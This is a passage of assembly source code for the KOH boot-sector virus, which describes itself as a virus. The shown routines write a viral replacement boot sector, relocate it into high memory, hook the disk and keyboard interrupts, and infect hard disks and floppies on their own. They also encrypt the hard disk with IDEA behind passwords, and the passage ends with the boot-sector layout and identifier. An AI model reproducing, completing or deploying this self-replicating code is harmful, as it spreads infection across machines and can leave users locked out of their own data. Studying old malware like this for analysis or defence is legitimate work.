997 mov bx,OFFSET IDEAVIR ;buffer for VIR_SIZE sectors of virus body
998 inc cx
999 mov ax,0300H+VIR_SIZE ;write VIR_SIZE sectors
1000 call DO_INT13E ;(int 13H)
1001IHDR: mov BYTE PTR [DR_FLAG],ch
1002 ret
1003
1004
1005;*******************************************************************************
1006;Ask the question in DS:SI and return Z if answer is Y, else return NZ.
1007ASK:
1008 push ax
1009 call DISP_STRING
1010ASKGET: mov ah,0 ;get a response
1011 int 16H
1012 and al,0DFH ;make upper case
1013 push ax
1014 mov ah,0EH
1015 int 10H ;display response
1016 mov ax,0E0DH
1017 int 10H
1018 mov ax,0E0AH
1019 int 10H
1020 pop ax
1021 cmp al,'Y' ;set flag
1022 pop ax
1023ASKR: ret
1024
1025;This routine is the highest level routine handling hard disk encryption. It
1026;asks permission to encrypt and then does it to one or two drives, depending
1027;on how many are present. It uses a separate hard disk password to do the
1028;encrypting, and this is separate from the floppy disk password entered when
1029;the drive was originally infected. Return with Z set if successful.
1030ENCRYPT_HARD_DISK:
1031 call CLEAR_SCREEN
1032 mov si,OFFSET ENCRYPT_QUERY1
1033 call ASK ;ask user if he wants hard disk encrypted
1034 jnz ASKR
1035 mov BYTE PTR [HD_CRYPT],2
1036EHD1: mov si,OFFSET PW_EXPLAIN
1037 call DISP_STRING
1038
1039 mov di,OFFSET HDKEY ;now get random secret key
1040EHD2: xor bx,bx
1041 mov cx,16
1042EHD3: in al,40H ;read microsecond timer
1043 xor ah,ah
1044 add bx,ax
1045 push bx
1046 mov ah,0 ;get a character
1047 int 16H
1048 pop bx
1049 xor ah,ah
1050 add bx,ax ;add character input
1051 loop EHD3
1052 mov al,bl
1053 stosb ;save it for key
1054 mov ax,0E2EH ;display a '.' to indicate
1055 int 10H ;program is working right
1056 cmp di,OFFSET HDKEY + 16
1057 jnz EHD2 ;loop until 16 bytes done
1058
1059 push ds ;now hash with low memory
1060 xor ax,ax ;segment 0, for added randomness
1061 mov ds,ax
1062 mov si,ax
1063 mov di,OFFSET HDKEY
1064 mov cx,8000H
1065EHD35: lodsw
1066 xor cs:[di],ax
1067 add di,2
1068 cmp di,OFFSET HDKEY+16
1069 jnz EHD37
1070 mov di,OFFSET HDKEY
1071EHD37: loop EHD35
1072 pop ds
1073
1074 mov si,OFFSET STOP_MSG ;tell user to stop
1075 call DISP_STRING
1076EHD4: mov ah,0
1077 int 16H
1078 cmp al,27 ;and wait for ESC
1079 jnz EHD4
1080
1081 mov si,OFFSET FD_PWASK ;get floppy password
1082 call DISP_STRING
1083 mov [HPP],OFFSET FDHPP
1084 call MASTER_PASS
1085
1086 mov si,OFFSET PW_HDEX ;ok, get the HD password
1087 call DISP_STRING
1088 mov [HPP],OFFSET HDHPP
1089 call MASTER_PASS
1090
1091 mov ax,0301H
1092 mov bx,OFFSET BOOT_START
1093 mov cx,1
1094 mov dx,80H
1095 call DO_INT13E ;write boot sector with updated HD_CRYPT
1096 call FD_PW_SAVE ;write encryption keys to disk
1097EHD_SUBR: ;call here from uninstall
1098 mov al,80H ;start with c: drive
1099 mov [CURR_DISK],al ;save drive number
1100 call ENCRYPT_HARD ;and go encrypt it
1101 xor al,al ;set z for successful returns
1102EHDR: ret
1103
1104;Save floppy disk hashed pass phrase and hard disk key to disk
1105FD_PW_SAVE:
1106 push es
1107 push cs
1108 pop es
1109 mov al,[HD_CRYPT]
1110 push ax
1111 mov BYTE PTR [HD_CRYPT],2 ;always use strong encryption for this!
1112 mov si,OFFSET FDHPP
1113 mov di,OFFSET SCRATCHBUF
1114 mov cx,16
1115 rep movsw ;move FDHPP and HDKEY to write
1116 mov cl,256-16
1117 xor ax,ax
1118 rep stosw ;clear the rest of this sector
1119 mov BYTE PTR [cfb_dc_idea],0
1120 call DO_CRYPT
1121 mov ax,0301H
1122 mov bx,OFFSET SCRATCHBUF
1123 mov cl,VIR_SIZE+3
1124 mov dx,80H
1125 call DO_INT13E ;and save it here
1126 pop ax
1127 mov [HD_CRYPT],al
1128 pop es
1129 ret
1130
1131DO_CRYPT:
1132 cld
1133 mov [HPP],OFFSET HDHPP ;only place this gets used
1134 mov ax,239BH
1135 mov di,OFFSET IV ;set up IV to some misc number
1136 stosw
1137 inc ax
1138 stosw
1139 inc ax
1140 stosw
1141 inc ax
1142 stosw
1143 call initkey_idea
1144 mov si,OFFSET SCRATCHBUF
1145 push si
1146 call ideasec ;encrypt the buffer
1147 ret
1148
1149;This routine installs interrupt 9 and 13 handlers
1150INSTALL_INT_HANDLERS:
1151 xor ax,ax
1152 mov ds,ax
1153 mov si,9*4
1154 mov di,OFFSET OLD_9
1155 movsw
1156 movsw
1157 mov si,13H*4 ;save the old int 13H vector
1158 mov di,OFFSET OLD_13H
1159 movsw
1160 movsw
1161 mov ax,OFFSET INT_13H ;and set up new interrupt 13H
1162 mov bx,13H*4 ;which everybody will have to
1163 mov ds:[bx],ax ;use from now on
1164 mov ax,es
1165 mov ds:[bx+2],ax
1166 mov bx,9*4
1167 mov ds:[bx+2],ax
1168 mov ax,OFFSET INT_9
1169 mov ds:[bx],ax
1170 push cs ;bring ds back here
1171 pop ds
1172 ret
1173
1174;Interrupt 9 handler scans for Ctrl-Alt-K and goes into config routine if
1175;pressed.
1176INT_9:
1177 push ax
1178 push bx
1179 push ds
1180 xor ax,ax
1181 mov ds,ax
1182 mov bx,417H
1183 mov ax,[bx]
1184 mov ah,al
1185 and al,4 ;is the CTRL down?
1186 jz I9EXIT ;nope, pass control to bios
1187 and ah,8 ;is the ALT down?
1188 jz I9EXIT ;nope, pass control to bios
1189 push cs
1190 pop ds
1191 cmp WORD PTR [ACTIVE],0 ;don't allow recursive activity
1192 jne I9EXIT ;or activity when FORMAT_FLAG set
1193 in al,60H
1194 cmp al,24 ;is it an O?
1195 jz FD_INFECT_TOGGLE;toggle floppy infect off/on
1196 cmp al,35 ;is it an H?
1197 jz HD_UNINSTALL
1198 cmp al,37 ;is key pressed a K?
1199 jnz I9EXIT
1200 jmp FD_PASSWORD ;yes, go change FD Password
1201I9EXIT: pop ds
1202 pop bx
1203 pop ax
1204 jmp DWORD PTR cs:[OLD_9]
1205
1206FD_INFECT_TOGGLE:
1207 pop ds
1208 pop bx
1209 call KEY_RESET ;go do cleanup chores for system
1210 pop ax
1211 call SAVE_REGS
1212 mov ax,0E07H ;beep to acknowledge function invocation
1213 int 10H
1214 xor BYTE PTR [FD_INFECT],1 ;toggle the infect flag
1215 mov al,'+'
1216 cmp BYTE PTR [FD_INFECT],1
1217 jnz FDIT1
1218 mov al,'-'
1219FDIT1: mov ah,0EH
1220 int 10H
1221 cmp BYTE PTR [DR_FLAG],80H ;if virus loaded from hard disk
1222 jne KBEX ;then update change to disk
1223 mov ax,201H
1224 mov bx,OFFSET SCRATCHBUF
1225 mov dx,80H
1226 mov cx,1
1227 call DO_INT13
1228 mov al,[FD_INFECT]
1229 mov BYTE PTR [FD_INFECT - OFFSET BOOT_START + OFFSET SCRATCHBUF],al
1230 mov ax,301H
1231 call DO_INT13
1232KBEX: call REST_REGS
1233 iret
1234
1235;Uninstall the virus from the hard disk.
1236HD_UNINSTALL:
1237 pop ds
1238 pop bx
1239 pop ax
1240 call SAVE_REGS
1241 call KEY_RESET
1242 cmp BYTE PTR [DR_FLAG],80H ;must have booted from hard drive
1243 jnz KBEX
1244 call CLEAR_SCREEN
1245 mov si,OFFSET SURE ;make sure before uninstalling
1246 call ASK
1247 jnz KBEX ;not sure, continue
1248 mov dx,80H
1249 mov bx,OFFSET SCRATCHBUF ;go read original partition sector @
1250 mov cx,VIR_SIZE+2 ;track 0, head 0, sector VIR_SIZE+2
1251 mov ax,0201H ;BIOS read, for 1 sector
1252 call DO_INT13E
1253 jc HUR
1254 mov si,OFFSET PARTPRE ;update partition table
1255 mov di,OFFSET SCRATCHBUF + 1ADH ;to current one in viral
1256 mov cl,51H ;boot sector
1257 rep movsb
1258 mov ax,0301H
1259 mov cl,1 ;write to true partition sector
1260 call DO_INT13E
1261 jc HUR
1262 cmp BYTE PTR [HD_CRYPT],0 ;is drive encrypted?
1263 jz HUR ;no, all done
1264 mov BYTE PTR [REMOVE],0FFH
1265 mov [HPP],OFFSET HDKEY
1266 call EHD_SUBR ;decrypt the hard disk(s)
1267 mov BYTE PTR [REMOVE],0
1268HUR: cld
1269 mov di,OFFSET INT_13H ;reroute interrupts
1270 call KILL_INT ;back to old handlers
1271 mov ax,OFFSET OLD_13H
1272 stosw
1273 mov di,OFFSET INT_9
1274 call KILL_INT
1275 mov ax,OFFSET OLD_9
1276 stosw
1277 mov si,OFFSET ALL_DONE ;all done, say so
1278 call DISP_STRING
1279 jmp KBEX
1280
1281;configuration routine for KOH
1282FD_PASSWORD:
1283 pop ds
1284 pop bx
1285 pop ax
1286 call SAVE_REGS
1287 call KEY_RESET
1288 call CLEAR_SCREEN
1289 cmp BYTE PTR [DR_FLAG],80H ;change HD PW if it was HD boot
1290 jnz FDPW
1291 cmp BYTE PTR [HD_CRYPT],2 ;and HD is encrypted
1292 jnz FDPW
1293 mov si,OFFSET HD_PWCHASK
1294 call ASK ;and user wants to change it
1295 jnz FDPW
1296 mov [HPP],OFFSET HDHPP
1297 call MASTER_PASS
1298 call FD_PW_SAVE
1299FDPW: mov si,OFFSET FD_PWCHASK
1300 call ASK
1301 jnz KEX
1302 mov [HPP],OFFSET FDHPP
1303 call MASTER_PASS
1304 cmp BYTE PTR [HD_CRYPT],0
1305 jz KEX
1306 call FD_PW_SAVE
1307KEX: jmp KBEX
1308
1309KILL_INT:
1310 mov ax,0FF2EH
1311 stosw
1312 stosb
1313 ret
1314
1315;Clean up after receiving a keystroke or you won't be able to get another!
1316KEY_RESET:
1317 mov al,20H ;reset 8259 controller
1318 out 20H,al ;for all machines
1319 mov ah,0EH
1320 push sp ;on an 8088 processor?
1321 pop ax
1322 cmp ax,sp
1323 je KRR ;no, continue!
1324 in al,61H ;yes, toggle reset bit
1325 mov ah,al
1326 or al,80H
1327 out 61H,al
1328 mov al,ah
1329 out 61H,al
1330KRR: ret
1331
1332;These routines save and restore the registers without clotting up the stack.
1333SAVE_REGS:
1334 mov cs:[REG_BUF],di
1335 mov cs:[REG_BUF+2],ax
1336 mov ax,es
1337 mov cs:[REG_BUF+4],ax
1338 push cs
1339 pop es
1340 mov di,OFFSET REG_BUF+6
1341 mov ax,bx
1342 stosw
1343 mov ax,cx
1344 stosw
1345 mov ax,dx
1346 stosw
1347 mov ax,si
1348 stosw
1349 mov ax,ds
1350 stosw
1351 mov ax,cs
1352 mov ds,ax
1353 mov es,ax
1354 ret
1355
1356REST_REGS:
1357 mov si,OFFSET REG_BUF
1358 push cs
1359 pop ds
1360 lodsw
1361 mov di,ax
1362 lodsw
1363 push ax
1364 lodsw
1365 mov es,ax
1366 lodsw
1367 mov bx,ax
1368 lodsw
1369 mov cx,ax
1370 lodsw
1371 mov dx,ax
1372 pop ax
1373 lds si,[si]
1374 ret
1375
1376REG_BUF DW 0,0,0,0,0,0,0,0 ;di,ax,es,bx,cx,dx,si,ds
1377
1378;This routine clears the screen
1379CLEAR_SCREEN:
1380 mov ax,600H
1381 xor cx,cx
1382 mov dx,80+25*256
1383 mov bh,7
1384 int 10H
1385 mov ah,2
1386 xor dx,dx
1387 mov bh,0
1388 int 10H
1389 ret
1390
1391;This routine decodes cyl, hd, sec info in dh/cx in standard BIOS format into
1392;cx=cylinder, dh=head, dl=sector. Only cx and dx are modified.
1393DECODE_SECTOR:
1394 push ax
1395 mov al,cl
1396 and al,00111111B
1397 mov dl,al ;put sector # in dl
1398 mov al,cl
1399 mov cl,6
1400 shr al,cl ;al has 2 bits of cyl number
1401 mov ah,dh
1402 and ah,00111111B
1403 xchg ah,dh ;put head # in dh
1404 mov cl,4
1405 shr ah,cl
1406 and ah,00001100B
1407 or ah,al ;ah has high 4 bits of cyl number
1408 mov cl,ch
1409 mov ch,ah ;cx = cyl # now
1410 pop ax
1411 ret
1412
1413
1414;This routine displays the null-terminated string at ds:si
1415DISP_STRING:
1416 mov [RAND_SEED],si
1417DS1: call GET_RANDOM
1418 mov al,[si]
1419 xor al,ah
1420 or al,al
1421 jz DSEX
1422 inc si
1423 mov ah,0EH
1424 int 10H
1425 jmp SHORT DS1
1426DSEX: ret
1427
1428;Strings for the virus go here
1429SURE DB 'Sure you want to uninstall? ',0
1430ENCRYPT_QUERY1 DB 'KOH-Encrypt your HARD DISK now (please backup first)? ',0
1431PW_EXPLAIN DB 'Now, enter 2 passwords, 1 for HD, 1 for FD. PWs can be changed with',0DH,0AH
1432 DB 'Ctrl/Alt-K, C/A-O toggles FD auto-migrate, C/A-H uninstalls on HD.',0DH,0AH
1433 DB 'Enter HD PW at power up. A cache is recommended for speed!',0DH,0AH,0AH
1434 DB 'Generating a random number. Press keys SLOWLY until you are asked to stop.',0DH,0AH
1435 DB 'Begin pressing keys.',0DH,0AH,0
1436STOP_MSG DB 7,7,7,7,'OK, stop. Press ESC to continue.',0DH,0AH,0
1437FD_PWASK DB 'Enter the FD PW now.',0DH,0AH,0
1438HD_PWCHASK DB 'Do you want to change the HD password? ',0
1439FD_PWCHASK DB 'Do you want to change the FD password? ',0
1440PW_HDEX DB 'Now enter HD PW.',0DH,0AH,0
1441HARD_ASK DB 'KOH 1.01-Migrate to hard drive on this computer (please backup)? ',0
1442ALL_DONE DB 'Done. You may continue.',0
1443NO_ROOM DB 'No room to migrate to HD!',7,0DH,0AH,0
1444UPDATE_MSG DB 'Uninstall old version to update to V1.02! Press any key.',0
1445
1446OLD_SS DW ?
1447OLD_SP DW ?
1448SECS_READ DB ?
1449
1450INCLUDE KOHIDEA.ASM
1451INCLUDE FATMAN.ASM
1452INCLUDE PASS.ASM
1453INCLUDE RAND.ASM
1454
1455;*******************************************************************************
1456;* A SCRATCH PAD BUFFER FOR DISK READS AND WRITES *
1457;*******************************************************************************
1458
1459 ORG 7C00H - 512*BUF_SIZE ;resides right below boot sector
1460
1461SCRATCHBUF:
1462PASSWD:
1463 DB PW_LENGTH dup (?)
1464PASSVR:
1465 DB PW_LENGTH dup (?)
1466 DB 512*BUF_SIZE - 2*PW_LENGTH dup (?)
1467
1468;These routines share the scratch buffer with disk IO. Be careful!
1469;PASSWD EQU OFFSET SCRATCHBUF
1470;PASSVR EQU OFFSET SCRATCHBUF + PW_LENGTH
1471
1472
1473;*******************************************************************************
1474;* THIS IS THE REPLACEMENT (VIRAL) BOOT SECTOR *
1475;*******************************************************************************
1476
1477 ORG 7C00H ;Starting location for boot sec
1478
1479
1480BOOT_START:
1481 jmp SHORT BOOT ;jump over data area
1482 db 090H ;extra byte, used for version control 91H=1.01
1483
1484BS_ID DB 'KOHv1.00' ;identifier for this virus
1485
1486BS_DATA:
1487
1488BS_BYTES_PER_SEC DW ? ;bytes per sector
1489BS_SECS_PER_CLUST DB ? ;sectors per cluster
1490BS_RESERVED_SECS DW ? ;reserved sectors at beginning of disk
1491BS_FATS DB ? ;copies of fat on disk
1492BS_DIR_ENTRIES DW ? ;number of entries in root directory
1493BS_SECTORS_ON_DISK DW ? ;total number of sectors on disk
1494BS_FORMAT_ID DB ? ;disk format ID
1495BS_SECS_PER_FAT DW ? ;number of sectors per FAT
1496BS_SECS_PER_TRACK DW ? ;number of sectors per track (one head)
1497BS_HEADS DW ? ;number of heads on disk
1498BS_DBT DB 25 dup (?)
1499
1500;The following are the CX and DH values to indicate where the rest of the
1501;virus is located. These are set by INFECT_FLOPPY, as needed by INT 13H.
1502VIRCX DW ?
1503VIRDH DB ?
1504HPP DW OFFSET FDHPP ;pointer to hashed pass phrase
1505BSLOC_DH DB ? ;active partition boot sector location on hard disk
1506BSLOC_CX DW ?
1507
1508;The following two bytes must remain contiguous!
1509CHANGE_FLAG DB 0 ;if <> 0, then change line was just called
1510FD_INFECT DB 0 ;if this flag is 1, automatic floppy infect is turned off
1511
1512;The following two bytes must remain contiguous!
1513DR_FLAG DB ? ;drive flag, indicates hard disk boot
1514HD_CRYPT DB ? ;Hard disk encryption, 0=OFF, 2=Strong
1515
1516CRYPT_FLAG DB ? ;encryption on/off flag for floppy drives (1 bit for each drive)
1517MOTOR_FLAG DB ? ;set if motor turned on by Int 13 fctn 16H
1518REMOVE DB 0 ;This flag is FF when uninstalling on hard disk, else 0
1519FIRST DB 0 ;flag to indicate first failure on write-->write protected disk
1520;The following two bytes must remain contiguous
1521ACTIVE DB 1 ;this is 1 whenever in an int 13 or int 9, and during boot up, helps avoid Ctrl-Alt-KOH when could cause trouble
1522FORMAT_FLAG DB 0 ;flag set when an int 13, fctn 5 is called, overrides motor to infect next read
1523
1524FIRST_SEC DB 0 ;first cyl, hd, sec of
1525FIRST_HEAD DB 0 ;active partition
1526FIRST_CYL DW 0
1527LAST_SEC DB 0 ;last cyl, hd, sec of
1528LAST_HEAD DB 0 ;active partition
1529LAST_CYL DW 0
1530
1531;The boot sector code starts here
1532BOOT:
1533 cli ;interrupts off
1534 xor ax,ax
1535 mov ss,ax
1536 mov ds,ax
1537 mov es,ax ;set up segment registers
1538 mov sp,OFFSET BOOT_START ;and stack pointer
1539 sti
1540
1541 mov cl,6 ;prep to convert kb's to seg
1542 mov ax,[MEMSIZE] ;get size of memory available
1543 shl ax,cl ;convert KBytes into a segment
1544 sub ax,7E0H ;subtract enough so this code
1545 mov es,ax ;will have the right offset to
1546 sub [MEMSIZE],(VIR_SIZE+BUF_SIZE+2)/2 ;go memory resident in high ram
1547
1548GO_RELOC:
1549 mov si,OFFSET BOOT_START ;set up ds:si and es:di in order
1550 mov di,si ;to relocate this code
1551 mov cx,256 ;to high memory
1552 rep movsw ;and go move this sector
1553 push es
1554 mov ax,OFFSET RELOC
1555 push ax ;push new far @RELOC onto stack
1556 retf ;and go there with retf
1557
1558RELOC: ;now we're in high memory
1559 push es ;so let's install the virus
1560 pop ds
1561 mov bx,OFFSET IDEAVIR ;set up buffer to read virus
1562 mov dl,[DR_FLAG]
1563 mov dh,[VIRDH]
1564 mov cx,[VIRCX]
1565 mov si,VIR_SIZE+1 ;read VIR_SIZE+1 sectors
1566LOAD1: push si
1567 mov ax,0201H ;read VIR_SIZE+1 sectors
1568 int 13H ;call BIOS to read it
1569 pop si
1570 jc LOAD1 ;try again if it fails
1571 add bx,512 ;increment read buffer
1572 inc cl ;get ready to do next sector--inc sector count
1573 cmp cl,BYTE PTR [BS_SECS_PER_TRACK] ;last sector on track?
1574 jbe LOAD2 ;no, continue
1575 mov cl,1 ;yes, set sector=1
1576 inc dh ;try next side
1577 cmp dh,BYTE PTR [BS_HEADS] ;last side?
1578 jb LOAD2 ;no, continue
1579 xor dh,dh ;yes, set side=0
1580 inc ch ;and increment track count
1581LOAD2: dec si
1582 jnz LOAD1
1583
1584MOVE_OLD_BS:
1585 xor ax,ax ;now move old boot sector into
1586 mov es,ax ;low memory
1587 mov si,OFFSET SCRATCHBUF ;at 0000:7C00
1588 mov di,OFFSET BOOT_START
1589 mov cx,1ADH
1590 rep movsb
1591 add si,OFFSET BOOT_START - OFFSET SCRATCHBUF
1592 mov cl,53H ;move viral bs partition table
1593 rep movsb ;into original bs
1594 push cs ;es=cs
1595 pop es
1596
1597 cli
1598 mov ax,cs ;move stack up here
1599 mov ss,ax
1600 mov sp,OFFSET LOCAL_STACK
1601 sti
1602
1603 call INSTALL_INT_HANDLERS ;install int 9 and 13H handlers
1604
1605FLOPPY_DISK: ;if loading from a floppy drive,
1606 call IS_HARD_THERE ;see if a hard disk exists here (this must set cx=0 for below)
1607 jz DONE ;no hard disk, all done booting
1608
1609 mov ax,0201H
1610 mov bx,OFFSET SCRATCHBUF ;read real partition sector
1611 inc cx
1612 mov dx,80H
1613 call DO_INT13E
1614
1615 mov si,OFFSET SCRATCHBUF + 1AEH
1616HDBOOT: add si,10H ;find active boot sector and save its location
1617 mov ax,[si] ;so it doesn't get encrypted
1618 cmp al,80H
1619 jz HDB1
1620 cmp si,OFFSET SCRATCHBUF + 1EEH
1621 jnz HDBOOT
1622 xor ax,ax
1623 mov [BSLOC_DH],ah
1624 mov [BSLOC_CX],ax
1625 jmp SHORT DONE
1626HDB1: mov [BSLOC_DH],ah ;active partition boot sector
1627 mov ax,[si+2]
1628 mov [BSLOC_CX],ax
1629 call IS_VBS ;and see if C: is infected
1630 jnz HDB2
1631 jnc DONE
1632 call UPDATE_HARD
1633 jmp SHORT DONE ;yes, all done booting
1634HDB2: call INFECT_HARD ;else go infect hard drive(s)
1635
1636DONE: mov bx,OFFSET HPP
1637 mov [bx],OFFSET FDHPP ;assume we need a floppy PW only, right now
1638 cmp [DR_FLAG],80H ;check hard disk encryption scheme
1639 jnz DONE4
1640 mov [bx],OFFSET HDHPP
1641 cmp [HD_CRYPT],0
1642 jnz DONE4
1643 call ENCRYPT_HARD_DISK ;if not encrypted, ask to do it now!
1644 jz SHORT DONE5 ;encryption successful, don't need to re-enter pw
1645 mov [HPP],OFFSET FDHPP
1646DONE4: call DECRYP_PASS ;get decryption password
1647 cmp [HPP],OFFSET FDHPP ;did we get floppy password?
1648 jz DONE5 ;yes, that's it for now
1649 mov ax,0201H ;no, read FDHPP from disk
1650 mov bx,OFFSET SCRATCHBUF
1651 mov cx,VIR_SIZE+3
1652 mov dx,80H
1653 call DO_INT13E
1654 mov si,bx ;decrypt keys with HDHPP
1655 mov BYTE PTR [cfb_dc_idea],0FFH
1656 call DO_CRYPT
1657 mov si,OFFSET SCRATCHBUF
1658 mov di,OFFSET FDHPP
1659 mov cx,16
1660 rep movsw ;and move it to where it belongs
1661
1662DONE5:
1663 xor ax,ax ;now go execute old boot sector
1664 mov dl,[DR_FLAG] ;needed by some partition sectors
1665 mov [ACTIVE],al
1666 push ax ;at 0000:7C00
1667 mov ax,OFFSET BOOT_START
1668 push ax
1669 retf
1670
1671;*******************************************************************************
1672;This routine determines if a hard drive C: exists, and returns NZ if it does,
1673;Z if it does not. To save space above, the fact that this routine sets cx=0
1674;is important.
1675IS_HARD_THERE:
1676 push ds
1677 xor cx,cx
1678 mov ds,cx
1679 mov bx,475H ;Get hard disk count from bios
1680 mov al,[bx] ;put it in al
1681 pop ds
1682 or al,al ;and see if al=0 (no drives)
1683 ret
1684
1685;*******************************************************************************
1686;Determine whether the boot sector in SCRATCHBUF is the viral boot sector.
1687;Returns Z if it is, NZ if not. It simply compares the BS_ID field with that
1688;from the virus. Returns C if you have the viral boot sector, but an earlier
1689;version that needs to be updated.
1690IS_VBS:
1691 mov di,OFFSET BS_ID ;set up for a compare
1692 mov si,OFFSET SCRATCHBUF+3
1693 mov cx,4
1694 repz cmpsw ;compare 8 bytes
1695 jnz IVBSR
1696 mov al,BYTE PTR [VER_NO - OFFSET BOOT_START + OFFSET SCRATCHBUF]
1697 sub al,1FH
1698 cmp al,2 ;set c if al<1, to indicate update
1699 xor al,al ;make sure Z is set!
1700IVBSR: ret ;and return with z properly set
1701
1702 ORG 7DACH
1703
1704VER_NO DB 2+1FH ;Minor version control number 1F= 1.00, 1+1F= 1.01, 2+1F= 1.02
1705
1706 ORG 7DADH
1707
1708PARTPRE:DB 11H dup (0) ;added info for XTs
1709PART: DB 40H dup (0) ;partition table goes here
1710
1711 ORG 7DFEH
1712
1713 DB 55H,0AAH ;boot sector ID goes here
1714
1715ENDCODE: ;label for the end of boot sec
1716
1717 ENDS VIRUS
1718
1719 END START